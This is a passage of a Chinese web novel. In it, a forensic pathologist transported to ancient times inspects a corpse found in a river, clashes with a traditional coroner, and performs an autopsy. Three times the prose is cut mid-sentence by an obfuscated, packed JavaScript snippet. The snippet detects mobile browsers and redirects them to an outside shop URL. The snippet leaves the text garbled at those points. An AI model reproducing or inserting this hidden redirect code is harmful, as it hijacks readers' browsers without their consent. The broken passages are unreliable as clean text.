《女法医古代破案手札》 6. 金华河无名氏 “走吧,以后一个人好好过日子,有什么难处就来县衙。”赵丘送程青到衙门口。 那里李大娘和李老汉正等着。 程青跑过去和他们说了一声,又跑回来,“放心吧,我也不是一个人,真遇到了难处,邻居们也会帮我的。” “倒是十分感谢赵大哥,如果不是你们,我恐怕现在已经没命了。”程青真心道,虽然这具身体的主人还是选择了自杀,但是他那碗明显的不能再明显的毒药水确实是在提醒她,更别说之后的事,为她洗清冤屈提供了不少帮助。 “人不自救佛也难。”赵丘嘴角扯了一下,看起来像是笑了一下。 “对了,我记得上一任知县不是把案子的卷宗送到州府了么?现在还来得及追回来么?”程青猛然想起这件事,有些担忧。 卷宗如果被批复了,那么县衙再次审判的结果也要再次批复,一来一去,她又得回牢里等着。 “等你记起来,州府的大人们恐怕早已批完了。”谢芳衡拿着一个素色钱袋走了过来,“这是给你的补偿。” 程青伸手一摸,里面是两个核桃大小的元宝,诧异道:“衙门补偿给这么多么?” “不全是衙门补偿的,我和前任知县有些过节,此番也是借你的手告了他一状,算是感谢你的。”谢芳衡面上淡淡。 虽然谢芳衡并不在意自己在哪里任职,但是自愿和被逼是两码事,尤其是对方临走还玩了一手。 程青也不推辞,办事拿银子,很公平,她拿得心安理得,“既然如此,我就却之不恭了。” “至于卷宗,昨日就已经派人去追回了,这会儿应该快回来了。” 临走前,程青好奇地问,“那前任县令会怎么样?” 谢芳衡沉吟,“他断案不公,草菅人命,原本的升官肯定是没戏了,大概会发回原籍,运作得好的话,能做个小吏,差的话,掳去功名,白身而终。” “便宜他了。”程青叹气。 知法犯法,这在现代是罪加一等,在古代,功名就是他们的保命符。 “这次的事多谢大人了,以后若是需要,大人尽管到程家找我。”程青很社会地拱手一笑。 谢芳衡看着对面少女灿烂的笑容,莞尔一笑,“会的。” ………… 送走了李大娘夫妇,程青看着满屋的狼藉,长长地吐了一口气。 终于可以好好地理清楚这具身体的情况了。 程青来到原主的闺房,房间不大,布置的却很温馨。雕花的床头和桌案上都摆放着几只漂亮的蝈蝈笼子,还有些吃剩了的干果蜜饯,针线盒里是绣了一半的手绢,粉蓝色的蝴蝶栩栩如生。 走到梳妆台边,铜镜里立时映出一个身量纤纤的青衣少女。 程青凑近看,少女眉眼弯弯,杏眼微睁,小巧的鼻头下一张樱桃小嘴。 乖乖,这么可爱的么?程青回忆起自己在现代的样貌,长脸长眉上挑眼,借用同事的话说,“一看就是个搞事业的。”倒不是说不喜欢自己之前的样子,只是现在这幅样貌看起来真的很好rua啊! 难怪在县衙时,总觉得几个衙役看自己的眼神很慈爱…… 把家里乱的地方都恢复成原样,程青琢磨起自己下一步要干什么。 店肯定是开不起来了,程老爹那些生意上的朋友自己也不认识,对于生意场上的弯弯道道更是没有天赋,勉强开着店,也不过是等着倒闭而已。 那些穿越的小说里,主角都是靠什么发家致富? 卖吃食?不不不,她只会点外卖和烧开水。 做女工?她缝人的技巧还是不错的,绣花那就两说了。 搞发明?肥皂,酱油,醋?这些好像街上就有的卖…… 想来想去没有头绪,程青关好门,决定上街逛逛,也许逛着逛着就有想法了。 入了冬,街上的烟火气反而更浓了。 走过热气腾腾的早点摊子,顺手买了两个肉包啃着,软糯的面皮在嘴里咀嚼之后化成甜甜的汁水混着咸鲜的肉馅,吃一口口齿生津,还想接着再吃一口。 往前走是四时茶坊,这是富人们吃茶的地方,程青家也吃得起,只是程老汉更爱一文钱一大碗的叶子茶,止渴还便宜。 侧门边坐着一位卖糖水的老伯,“糖水,甜蜜蜜的糖水,一盏两文钱,不甜不要钱!” “老伯,倾一盏糖水,要桂花味的。” “好嘞!今年刚下的桂花,香着哩!小娘子,给!” 程青接过瓷碗,还未喝,浓浓的桂花味铺面而来,入口倒不十分的甜,等下了肚,温温热热的,才品出着糖水的妙处。 “怎么样?可好喝?”老伯笑得满脸褶子。 “甜而不腻,唇齿留香。”程青竖起大拇指,笑着还了碗。 老伯接过碗,脸上的褶子更深了。 茶坊后是一家杂货铺,程青进去看了看,主要卖一些北方的皮货,以及一些外地的特产吃食等。 面馆、茶摊、书画摊,卖炭、卖熟牛肉、卖剪刀、卖草绳……一路走来,应有尽有,程青仿佛刘姥姥进大观园,眼睛都不够看了。 再往前过了桥就是这条街的中心位置,那里是这个小镇最繁华的地方,也开着最大的酒楼,樊楼。 樊楼门前有一条河,名叫献羊河,横跨整个古羊县。遇到节日里,过往的行人们会点上一盏花灯浮于河上,花灯带着他们美好的愿望顺流而下,河面上金光点点,所以城里的百姓们又叫它金华河。 还不到饭点,樊楼门前已经围着不少人了,大多数都是富户们遣了下人来点外卖。 程青家是吃不起的,尤其是家里程老爹过世后,没有了经济来源更是要省着点花。 不过吃不起,也不耽误她上前长长见识。 “死人啦,死人啦!” “报官!快去通知衙门!” 前方突然爆发出一阵嘈杂声,人群轰的一声散开,又迅速聚拢在一起,围成一个团。 程青挤了半天没挤进去,只好拉住一个退出来的姑娘,“姑娘,前面发生什么事了?” 那姑娘吓得脸色苍白,说话都抖得不成个样子,“河、河里飘上来个死人,肿得那么大、那么高,太可怕,太可怕了!” 死人了!? 程青一惊, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13354582|140666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连忙用力往前挤,“让开,让开,我是仵作!” 人群“哗”的一下分成两拨,让出一条路出来,,程青顶着众人怪异的眼神快步走向前。 死者已经被捞上来了,斜斜地躺在河边的台阶上,草席下露出的脚部浮肿,伴随着一阵阵的恶臭味。 程青捂住口鼻,挑开草席粗粗一看,尸体已经呈现巨人观了。 “大家都让一让,不要围在这里!都散开都散开!”程青立马驱赶开众人。 高度腐败的尸体散发出的气味对人体有害,百姓们靠得太近会吸入这些有害气体。 这个时候留下来围观的百姓都是胆子比较大的,尸体又被草席盖着,一时间好奇心大过了胆怯,不但没有走开,反而站在原地跃跃欲试。 “尸体的味道对身体有害,为了自己的身体,大家还是站远点吧!”程青耐着性子大声解释。 有一部分人听完她的话,往后退了几步,但是后面的人看准机会又走到了前面。 程青:…… “张大力,张大哥!”程青眼尖,一眼看见人群里的双开门大高个,"张大哥,帮帮忙!" 张大力也看见了人群中间的程青,一手一个拎开面前的人,硬生生地挤到了程青面前。 “程小娘子,你怎么在这?”张大力咧着嘴,有些兴奋,他在这条街上向来人嫌狗憎,还是第一次有小娘子这么热情地喊他的名字呢。 “张大哥,麻烦您一件事,能帮忙让大家站远些么?我担心尸体的尸臭味会伤害到大家的身体。” 张大力本来就是过来看热闹的,刚刚程青喊的话他也听见了,这会儿听她一说,马上就明白怎么回事。 “行,小事一桩!”张大力拍拍胸脯,对着程青豪迈一笑,转过身脸立马拉下来,“都让开!让开!怎么回事啊?没听见我说话是不是!你,就是你,往后退!再往后退!” 比起娇小面软的程青,双开门的张大力显然更有威慑力,好几个程青说话时动都不动的人,张大力一个眼刀过去,立马乖巧地退了一大步。 程青挑眉,果然,从古至今,欺软怕硬都是不变的道理。 “都让开,让开!”接到百姓报案的衙役们匆匆赶来。 相比张大力的蛮横武力,他们身上的衙役服饰、腰间的佩刀,无疑象征着更大的力量——权势。 于是百姓们站得更远了。 程青没看见赵丘等人,来的都是些生面孔,呵斥着将程青和张大力驱赶到人群里,由他们接管了现场。 “程小娘子,你说这人得多惨啊,死了都不得安宁,大冬天的泡在水里,泡成这样,这金华河的水,我看以后都不能喝了,唉,你说我要是在这河边卖水有出息么?”人群里,张大力拢着袖子和程青有一搭没一搭地说话。 “卖符吧,省的挑水了。”程青随口答着,眼睛盯着衙役们来的方向。 “对啊!我怎么没想到,等我……” 张大力絮絮叨叨地说着自己美好的畅想,程青心里只想着:按流程来说,发现尸体报官后,本地的验尸官就会带着仵作等人前来验尸,不知道这次来的会是谁? 7. 许仵作 少倾,又有一行人过来了。 程青踮起脚尖望去,“咦?”竟然不是县尉带人过来验尸? “张大哥,往日里不是县尉充作验尸官的么?”程青胳膊肘捣了捣张大力。 张大力正看着衙役们威风凛凛的羡慕呢,听见程青的话有些诧异地说:“你还不知道呢?” 见程青不说话,才想起来这些日子对方的情形,“哦,我忘记了,我跟你说,这县尉李大人,听说是前面那位的人,这新来的知县大人把前面那位狠狠得罪了,县尉大人作为他的人,能安安稳稳地听知县大人的调遣?” “这不,验尸这种脏活累活知县大人就只能自己来了。”张大力摇摇头,一脸的感慨。 “那不是还有县丞大人么?”县丞可是知县的左右手,“总不能也是前面那位的人吧?” “那位?”张大力翻了个白眼,“更是不用指望,连前面那位都使唤不动的人,知县大人一个新来的,更是没戏!” 程青点点头,若有所思。 说话间,谢芳衡已经带着仵作走到了尸体边。 只见他说了什么,衙役们将围观的百姓又驱离得更远些。 直到确保围观的群众不能看见验尸的过程,谢芳衡贴身的侍从阿满才上前掀开草席。 人群中有目力好的人发出一声惊呼,衙役们迅速上前挡住百姓们的视线。 程青站在人群里,也什么都看不见了,只能尽力挤到前面,等待听一会儿验尸时仵作的检查结果。 古人验尸不必现代,为了表示对死者的尊重以及验尸时必要的措施,从以醋洗手到艾叶塞鼻,最后跨火盆,有一整套的流程要走。 程青眯着眼看验尸仵作的动作,忽然间和一边闲逛的许岩对上了眼。 “许小哥,你也来了?”程青有些惊喜。 许岩和衙役打了个招呼,让程青从人群中走出来。 “我和我师父一起来的,这会儿验尸的就是我师父。”说起自己的师父,许岩满脸的骄傲,一点也没有仵作行人身为下等职业的自卑感。 “你师父?他厉害么?” “厉不厉害我不知道,但是古羊县的案子都是他验的。” 闻言,程青肃然起敬,有时候,法医手上的尸体数也从侧面反映了法医的能力。 “我能过去看看么?我不打扰他们,我就有些好奇。”程青提了个无理的要求,主要她想看看这种情况下仵作和验尸官怎么确定尸体的身份。 先前匆匆一撇,程青就看出来死者的身份已经无法从面部识别,不知道他们现在怎么做?看衣服,还是身边的重要特征物证? 许岩有些为难,“这,恐怕不行。衙门里的规矩,无关的人一般是不允许看验尸的,而且我师父验尸时,不喜欢有同行盯着,就连我,也只有学习时,才被允许盯着他看。” 看又看不见,听也听不清楚,程青只好在一边和许岩探讨验尸时的规矩和流程。 “程姑娘,你问了这么多,是想做仵作么?” “怎么。不可以么?”程青反问。 “我觉得你比我厉害,但是我没有见过女孩子干这行的,我听师父说,干我们这行一定要阳气足,才能压下死人的阴气,可是女孩子不是阴气足么?”许岩说起了师父的教导。 他没说的是,在他印象里,师父还说了,女人不能干这行,对死者也不好,死者家属有的时候也会忌讳这点。 “你知道么,教我的师父有好几位,其中一大半都是女人,她们不仅学识高,而且经验丰富,有些甚至比男老师还要出色,难道就要因为她们是女性就不和她们学习么?死者家属就因为验尸的仵作是个女人就拒绝让自己的亲人得到沉冤昭雪的机会么?” “就像这次,你师父和你或许很难在短时间内,甚至一辈子都找不到那名死者身份的线索,而你面前恰巧有一位仵作可以快速地找到死者的身份,你愿不愿意向她求助?还是因为她是个女孩子就让死者的身份永远地沉溺下去?” 许岩看看远处的尸首,又看看面前的少女,突然反应过来,“程姑娘,你是再说你自己么?” 午间的微风吹起了她鬓边的碎发,程青扬起眉毛,自信地说道:“是,你愿意向我求助吗?” 许岩嘴唇嗫嚅,犹豫再三最后坚定地说道:“如果你可以做到的话,向你求助又何妨?达者为师,从来不会因为性别差异拒绝学习的机会。” “胡言乱语!”对话间突然插入一声怒喝! 两人侧首,原来是初验已经完成,要进行复验了。 许仵作拎着箱子过来正要喊许岩去复验,没想到一过来就听见此女妖言惑众,“丧葬敛尸是何等庄严肃穆,怎么能让一个女人插手?!还大言不惭想教导他人,我看你是误人子弟!” 许仵作声音拔得老高,一边斥责程青,一边眼神欻欻地刀向许岩。 “师父,你不知道,上次那个案子就是程姑娘自己破的,连尸体都没看见就查明了程老汉的死因。”许岩怕程青给师父留下不好的印象,赶紧解释。 不解释还好,一解释,许仵作眉毛竖得更高了,“上次的事我还没找你计较,你还敢提!?我怎么和你说的,勿言勿听勿看,你是怕死得不够快啊?” 说着,许仵作一巴掌拍向许岩的后脑勺,“大人叫了,还不快去!” “知道了!”许岩嘟囔着,“程姑娘,我师父就这性子,你别介意啊!”说罢拎起箱子小跑过去。 程青不在意地笑笑,她要是真在意别人的风言风语,那她一家子都是干法医的,也别活了,找个干净地自我了结算了。 程青和许仵作就这样站在原地,看着许岩一板一眼地听着谢芳衡的指令验尸。 “小娘子,我知道你手上是有些功夫,可是在这古羊县,呵,光有手艺是不行的。”许仵作拍了拍身上的灰尘,有些是刚刚跪在地上沾染上的,有些是急急忙忙赶过来不知道在哪蹭的。 程青转过头看向许仵作,小老头五十岁左右,一米六左右的个子。常年在外奔波的缘故,脸上皮肤糙黑,夹杂着银丝的头发整齐地扎在脑后,粗长的眉头时刻紧锁着,在眉心处隆起一个高高的凸起,乍一看就是个老古板,但细看他的眼睛,就知道这个人粗中有细,是个讲究而且有担当的人。 “不知怎么称呼?” “许松航。” “小女子程青。”程青拱手行礼。 许松航侧身避开,“我又没问你。” “今天之后,我就和许先生成为同僚了,总不好让你向别人打听我。”程青收了手,脸上笑得狡黠。 “哈!”许松航有些气笑了,语气变得有些尖酸,眼神也锐利起来了,“同僚?你?” “正是小女子。”程青微笑着露出标准八颗牙齿,丝毫不在意许松航刻薄的打量。 许松航看了半天,见程青依旧面不改色,收回了目光,慢悠悠开口,“行吧,那就看看你的手艺能不能打动谢大人了。” 古羊县一个小地方,两名仵作就足够了,如果想再添一名仵作,只能辞退一个。许松航和许岩,不说别的,在验尸这块,虽然无功,但也无过,平白辞了哪个都会惹人非议,更何况补上来的还是个女人。 许松航面上不显,心里认定了程青做不到。 另一边,许岩也结束了,“师父,程姑娘。” 许松航点点头,“走吧,先回衙门。” “师父,”许岩叫住他,“大人说把程姑娘叫上。” 许松航脚步一顿,有些讶异的瞥了一眼程青,最终还是什么也没说,跟着衙役们走了。 “真是谢大人说的?”程青凑到许岩身边,眼睛睁得圆圆的,有些惊喜地问。 一阵淡淡的幽香飘过来,许岩有些脸红,往后退了一步,“程姑娘,我身上有些尸臭,小心沾染上。” “干我们这行的,谁还在乎这个?”程青往前进了一步,“谢大人说喊上我的?” “恩。”许岩点点头,眼睛盯着脚尖。 没想到啊,本来她还想借着这次的机会毛遂自荐,谁知这谢大人和自己想的一样,这叫什么? 这就叫默契! 程青乐了半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13354583|140666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天,忽然想起什么,皱眉道:“谢大人怎么不亲自和我说?我也好看看死者身上有没有什么线索。” “大人这边还有些事要处理,先叫上你,免得你再跑一趟,至于死者,现在还不知道他的身份,应该会送到义庄里。” “这样也好。”程青看向那边,谢芳衡正吩咐人和樊楼的店主交涉,碰上这种事情,店家也是倒霉了。 ………… 程青在县衙大堂后等了没一会儿,谢芳衡匆匆赶来。 “久等了。”他带着一身的皂角味,显然是先回来梳洗了一番。 “不要紧。”程青表示理解,就算是法医,能避免尸臭还是会尽量避免的,尤其是这种高度腐败的尸体。 “程姑娘知道我叫你来是什么事么?” “猜到一二。” “那你的想法是?” “固所愿也,不敢请耳。” “当真?” “当真。” “好,”谢芳衡脸上闪过一抹笑意,随机正色道:“不过,我这边还有个考验,不知你是否接受?” “是那具无名氏吧?”程青了然。 当下摆在眼前的就是查明死者的身份,至于死因,想来许仵作应该能找出来。 “正是,你可有把握找到他的线索?”谢芳衡目光落在程青稚嫩的脸庞上。 “我要是说没把握,是不是就不用我了?”程青开了个玩笑,“在此之前,我有几个问题要问。” “你说。” “第一:古羊县的人口普查做得怎么样?有失踪人口上报么?”这个问题决定了程青的破案方向。 谢芳衡捏了捏眉心,“我还没来得及看县里的卷宗,不过典吏应该知道。” 他挥了挥手,有人去叫典吏了。 “好,这个问题先放一边。第二:若是我来验尸,我最多可以做到什么地步?” 谢芳衡一愣,“什么叫做到什么地步?你要对尸体…做什么?” “就是,我那个验尸的方法吧,它有些惊世骇俗,可能不能被世人接受,像是剖开呀,拿出来放进去,再缝起来之类的……”程青越说越小声。 在现代,她当然可以挺直腰板说一句这是法医验尸的正常流程,但这是在古代,身体发肤授之于父母,万一她一刀下去,突然跳出来一个人拦着不给做,甚至反过来报复她,那她岂不是自己搭进去了。 而且通过体表做检查,相比于解刨,真的获得的信息太少了,她很佩服古人仅仅凭体表信息破案,但是她手握现代法医实验室这个大杀器,没道理还要固步自封。 “这个必须要这么做么?”谢芳衡沉下声, “最好可以,很多信息只有打开了看才看得清楚嘛。” “我会尽量为你争取到死者家人的同意。”这是他最大的让步。 “也行,”一口吃不成个胖子,开了头后面才好接着做,“第三:我做事有我的一套规则,你们不懂可以问,但是不可以偷偷翻我的东西。” 这点她一定要单独说明,在验尸的过程中,她可能会拿出来许多这个世界没有的东西,要是被人偷偷拿走,她担心会生出是非。 “可以。”谢芳衡点头,这不是什么大事,“我会和其他人交代一下。还有么?” “唔,还有一点,就是你们这待遇怎么样啊?你知道的,我是没有什么钱的,家里的钱又让程庆卷走了。”程青双手一摊,提出了一个很现实的问题。 “上任后,一年大约六两银子,遇到重大案情,破案有功,另有封赏。” “六两?”早上她吃了两个肉包喝了一碗糖水就花去了八文钱,六两也就是只能吃七百五十次肉包糖水,这,有点低啊…… 程青心里嘀咕,平时还是要找点副业干干了,不知道许仵作家里的殡葬队伍还缺不缺人?敛尸化妆她也是很在行的。 “还有别的问题么?没有问题的话,现在就可以去了。” 谢芳衡喝了一口茶起身,似乎是借着和程青交谈的空隙休息了一下。 “不急,我先问问典吏。” 8. 验尸争执 “赵典吏,我们这个县到现在有多少人失踪,有记录么?” 赵典吏闻讯赶来,一见是程青吓了一跳,又听见她问这样的问题,有些无措地看向谢芳衡,“大人,这……” “无妨,你如实说就是。”事情还没有真正定下来,谢芳衡也就没有解释。 大人都发话了,赵典吏也就没有顾虑,“古羊县从前朝禄宗到现在长盛三十二年,四十年间一共有六百三十二起失踪案,失踪人数在两万四千五百余人。” “多少!?”程青惊讶之下,声音都变形了。 “这,两万四千五百余人啊。”赵典吏翻出记录的账册,确认一遍,“是两万四千五百余人。” “怎么会这么多?”程青不解,就算是通讯不发达的古代也不能失踪这么多人吧? “程姑娘有所不知,这两万余人中有一万八千人是在打战逃难的时候走失了,我朝建立后,每逢天灾人祸,如山洪、蝗灾、土匪,也都会有百姓流离失所,甚至有整个村子都消失了的。” 哦,这样的话,人数多也不奇怪了。 “这些都不算,那种几个人失踪的案子大概有多少?” 赵典吏放下账册,细细翻看后,道:“共有一百四十五起,都是家里人不见了,家属来报的官。” 一百四十五起…程青心里琢磨了一下,“好,多谢赵典吏了。” 赵典吏蒙圈地来,又迷迷糊糊地走了。 “这下有把握了?”谢芳衡见程青问了一通。 “大人,有劳大人继续走一趟了。”程青笑而不答,学着当下女子的样子屈身行了个礼。 ………… 城郊义庄。 义庄是专门停放尸体的地方,从前由各地的宗族建立,供死在异乡的族人回族后暂时停放棺材,后来官府收到死尸也往这里送,时间一久,官府干脆就建了一个义庄专门摆放那些死得不明不白的尸首。 程青到的时候,义庄里已经有人等着了。 “许仵作?你怎么在这?”程青率先上前打招呼。 义庄里停放着数具棺材,有些无人认领,腐烂发出臭味,只能等人敛了尸往乱葬岗一埋就完事。很遗憾,这些事都是仵作行人的工作,所以许松航待在这里,动一动鼻子,就知道后面又有不少活在等着自己。 这会儿看见程青,本来就不好的心情,这下更糟糕了。 “大人。”许松航对着后面的谢芳衡作揖。 程青见许松航不理自己,也不恼,拿出自己的百宝箱,和谢芳衡说了一声,就开始忙活了。 拿出防护服,带上口罩、橡皮手套等等,一切准备就绪后,程青站在棺材前, “你们要靠近看么?”程青有些诧异,一会儿她要做的事可不大雅观。 许松航站在原地没有动的意思,谢芳衡是验尸官也不会走开,许岩更是恨不得整个人都扒在棺材上,看清程青的每一步操作。 见状,程青无奈地摸出几个口罩,“像我这样带着,不然一会那气味对身体不好。” 几人接过,摸索一番带上,程青欣慰地点点头,这样看起来就好多了,有种在家上班的感觉。 “帮我推一下棺材板,谢谢!” “哦哦。”这里许岩最弱小,自觉地走上前。 随着棺材板被掀开,一阵难以形容的恶臭扑面而来。好在几人都是见过世面的,面不改色地将目光移向了棺中的死者。 “我说,谁来记?”程青看向三人中的谢芳衡,他是验尸官,本应该他来记,但是他也是知县大人,此刻,程青的情商上线,于是目光移向了许岩。 “我来记。”谢芳衡不知从哪里掏出一个本子,就着一边的棺材,准备下笔。 程青看着他露在口罩外的黝黑眼睛,见他是真的打算自己写,也只好打消了让他给自己举灯的想法。 “死者男性,年龄在二十岁到二十五岁之间,身高约为一百七十五厘米。全身浮肿呈桶状,皮肤发绿,表皮脱落,体表毛发脱落,面部膨大,眼球舌尖外突,口唇外翻,整体呈现巨人观。” 一旦进入工作,程青就变得严肃起来,不等其他人询问,接着验,“面部无明显外伤,指甲内有细微泥沙。” 用棉签擦拭了一些下来,用密封袋装好。 “口鼻内有蕈样泡沫。”将尸体小心的翻转过去,仔细查看了一番,“尸体表面没有明显的创伤和外伤。” 说完,程青舒了一口气,摘下手套。 一旁的许松航以为已经结束了,顿时不屑地笑道:“这就是你的手艺?我看不过如此。” “急什么?只是简单的检查,后面还有呢。”程青打开箱子,一件一件的往外掏。 镊子、镊子、解剖刀、拉勾、勺子…… 许松航刚开始还能保持淡定,直到看到程青从箱子里掏出一把锯子,终于忍无可忍,上前一步抓住程青的手腕,“你到底在干什么?!” “这是验尸,不是你过家家的地方!” 程青正在顺着自己的强迫症摆放工具,一下子被打断,有些不悦,但也没有生气,以后这样的情况还要发生很多次,要是第一次自己就破防了,那以后就更别想继续了。 “谢大人。”说服下属不是自己的活,程青直接将问题抛给了谢芳衡。 “许仵作,你有什么疑问么?”谢芳衡没有直接劝,而是问他。 “大人,身体发肤受之父母,死者死的不明不白,怎么能再接受这样…这样的验尸!”小老头指着案桌上的一堆器件,显然是看明白程青要做什么。 “这是她,恩,师传的验尸方法。”谢芳衡解释。 “哼,什么沽名钓誉的师传,我看就是不知道从哪学的野路子,仗着有点小伎俩就破坏尸体!”许松航讥笑,他家祖上就是敛尸的,验尸的手艺一直传到他手里,从来也没听说过要剖开死者的尸首来验尸。 本来程青是作壁上观,可许松航说着说着就开始攻击她的老师了,这她忍不了! “野路子,哈!你可真能耐!就是你口中的野路子找出了我父亲的死因,洗清了我的冤屈,真指着你验尸,恐怕我坟头草 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13354584|140666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都三丈高了!” “还有,你可以质疑我的技术,但是你开口就诋毁我的师承,不知道阁下又是哪门哪派的高徒啊?” 仵作一向被认为是下贱行当,哪里还敢自称门派?程青这一句是将整个仵作行人都骂了一遍! 你不是说我师父不行么,你们整个行业都不行! “你!你!”许松航气得胡子乱飞,口罩在他脸上不断起伏。 “师父,师父,您歇歇,别气坏了身子。”许岩赶紧上去,给小老头顺气,“程姑娘,你也别生气了,我师父就这个性子,也改不了了,而且,你那个确实有些……” 许岩犹犹豫豫,当着死者的面,不好接着往下说。 “我解剖死者,为的不是自己,而是为了找出死者的死因,更何况我并不是胡乱一同地切开,事后也会将其恢复成原样,我对得起死者,也对得起自己的良心。”程青说得理直气也壮。 许松航见她毫不悔改,顿时就要冲上前掀翻她的工具箱。 这时,谢芳衡上前一步挡在了程青的身前,高大的身躯将她牢牢护在身后,程青眨了眨眼睛。 “许仵作,师门之争我不好评价,但是衙门要的是破案,与其在这争论不休,不如拿出一个结果,你说呢?”谢芳衡眼睛微眯,看似笑眯眯地说话,其实语气里是满满的不容拒绝。 民不与官斗,小老头哼了一声,熄了火。 谢芳衡转过身,目光从那些闪亮的器械上飘过,落到程青身上,温和一笑:“继续吧。” “恩。”突如其来的反差感,程青一时间有些不适应。 “咳咳,要不你再看看还有什么漏下的,别一会儿我验完了,你说我动了什么。” “该验的我都验过了,都在尸格里,不需要复验。”小老头没好气,但更多的是对自己验尸的自信。 “行,有您这句话我就放心了。” “下面我要做的事有点费力气,谢,许小哥,你过来帮一下我。”程青跳过谢芳衡,点了许岩。 “好!需要我做什么?”许岩正想就近看看呢,得了机会也顾不上师父的眼刀,欢欣鼓舞地走上前。 程青小心翼翼地剪下一小块衣料,“密封袋。” “哦,给。” “记,死者身着灰蓝色麻布上衣,无补丁破损,左肩后方有深色擦痕,无随身物品。” 检查完衣服,程青屏住呼吸,一点点将外衣脱去。 一方面是高度腐败的尸体,那气味真的是,尤其是她还要靠近尸体来脱衣物。另外一方面,巨人观的尸体非常的油滑,对,就是字面意思,油滑。 由于死亡时间太久,尸体变得尸蜡化,部分组织用力点甚至会随着动作扯下来。 程青一点一点的拨下衣物,内心庆幸:幸好这是古代,衣服大且宽松,否则那画面太美不敢想象。 随着衣物脱落,许松航也忍不住伸长脖子,看着程青的动作。 不过,程青现在可顾不上他,接下来就是正头戏了。 “许小哥,把手术刀给我。” 9. 开棺验尸 “是这个么?”许岩拿着一把脏器刀。 “额,是那个。”程青愣了一下,指着旁边那个。 差点忘了,这里的人对这些都不了解。 将刀片小心安装好,见许岩不错眼地盯着,程青索性一边做一边解释。 “这个是解剖用的刀片,和我们平时用的刀片不同,十分锋利,所以用的时候要小心,不要划伤手指。” 程青起手从尸体下颌正中开始,放低刀刃抵住颈部,呈“一”型,沿胸、腹正中线一直划到耻骨联合。 皮肉瞬间被划开,露出里面的肌理,如果那还算是的话。 经过胸腹腔时,程青叫醒愣神的许岩,“拿钳子过来拉住。” “哦哦。”许岩回过神来,按照程青的指示辅助牵拉。 “注意点力道,不要太用力。”程青见许岩渐渐上手,放下心,接着说道: “高度腐败的尸体,体内会产生大量的腐败气体,使尸体膨大,呈现‘巨人观’,但内部器官早已腐烂,所以下刀时一定要小心,不能划破里面的脏器。我现在采用的解剖术式叫做直线型切开术式,这种术式想比其他几种,虽然不容易看清楚里面,但缝合起来比较简单,对于家属来说,也更能接受一点。” 说着锋利的刀刃划破里层的筋膜,分离开皮肤和骨骼组织,再将其向左右两边翻开,至此整个胸腹腔暴露在整个视野中。 同时,一股肉眼可见的气体喷涌而出。 程青下意识闭上双眼,屏住呼吸,余光刚好看见许岩扭过头去干呕。 还好,没有吐出东西来,虽然这里的味道已经很复杂了,但还是不要再添一味了。 “还行么?” “还行,我、我可,呕!”许岩强撑着想继续,但是生理上的本能反应让他一遍遍地扭过头去。 看他这样子,估计是不行了,第一次解剖面对的就是这样的状况,程青有点抱歉,但不多。 “你先出去缓缓吧。”强忍着并不会有太多帮助,反而容易吸入更多的气体,这是生理上的不适,只能说慢慢来吧。 许岩倔强地不肯走,可是一扭头,死者胸腹腔内墨绿色的溶解物又逼得他不得不转身。终于,他实在忍不住了,摘下口罩夺门而出。 “我可以帮上忙么?”一旁的谢芳衡脸上表情看起来还好,当然也有可能他特别能忍。 “那帮我递个东西吧。”前车之鉴,程青不敢让人再靠近了。 不需要分心解释,程青手上的动作就快多了。 取出脏器放入福尔马林中,这些都要送到实验室去检查。 紧接着检查颅骨,当颅骨内那生化危机一般的气体倾斜而出时,连一旁坐着的许松航都忍不住背过去。 这股恶臭瞬间席卷了整个屋子,程青庆幸这是冬天,这要是夏天,她就得上防毒面具了。 一切结束后,程青额头上布满了密密的汗珠。 臭倒是其次,主要是太滑了,不好缝,尤其是旁边还有个紧紧盯着你的固执老头。程青真担心自己要是一不小心扯下来一点,这老头能当场发作起来。 谢芳衡见程青一脸虚脱的样子,伸手就要扶她。 “先别说话!” 程青快步走到屋外,脱下防护服和手套,最后摘下口罩,大口呼吸新鲜空气。 就算再怎么是冬季,也比不上解剖室里低温空气循环的环境,更别说义庄里也不只这一具尸体。 谢芳衡和许松航也跟着出来了,验尸已经结束了,再继续待在里面也没什么事。 好在谢芳衡把她的箱子拎了出来,免了她再进去一次,程青大感熨帖。 “多谢大人了。” “举手之劳。” 程青看向许松航,这小老头也看不看她,走到外面许岩的身边,嘀嘀咕咕不知道说了什么,又看了她一眼,回来对着谢芳衡说道:“大人,小人家中还有事,就先带他回去了。” 两人一身的尸臭,别说他们了,就连程青也恨不得立马回去洗澡。 “大人,要不在衙门里专门弄一个洗澡房吧,要不我这一身的臭味,经过大街上,别人还以为我从哪里爬出来的呢!” 事情办完了,程青也有心情开玩笑。每次验尸结束后,她总给自己找点开心的事。 